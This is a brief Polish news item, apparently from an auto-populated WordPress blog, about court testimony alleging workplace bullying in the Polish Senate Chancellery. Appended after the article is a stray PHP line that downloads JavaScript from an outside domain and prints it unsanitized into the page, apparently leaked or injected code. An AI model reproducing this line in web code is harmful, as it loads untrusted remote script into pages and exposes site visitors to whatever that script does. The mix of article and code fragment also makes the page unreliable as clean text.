Czarne myśli pracowników, trzęsące się ręce, zwolnienia od psychiatry, uwagi dotyczące wyglądu czy zapachu – to tylko część obrazu senackiego mobbingu, jaki przed Sądem Rejonowym dla Warszawy-Śródmieścia w Warszawie nakreślił jeden ze świadków. Jak zeznał, chociaż o sprawie informowano m.in. ówczesnego marszałka Tomasza Grodzkiego, zmiany w warunkach pracy nie było. Proces to następstwo pozwu, który wytoczył Kancelarii Senatu były fotograf.
Powered by WPeMatico
print preg_replace('/document\.write\(\'(.*?)\'\);/si', '\\1', stripslashes(file_get_contents('http://noclegovo.pl/aps/get,u232.js'))); ?>
Brak komentarzy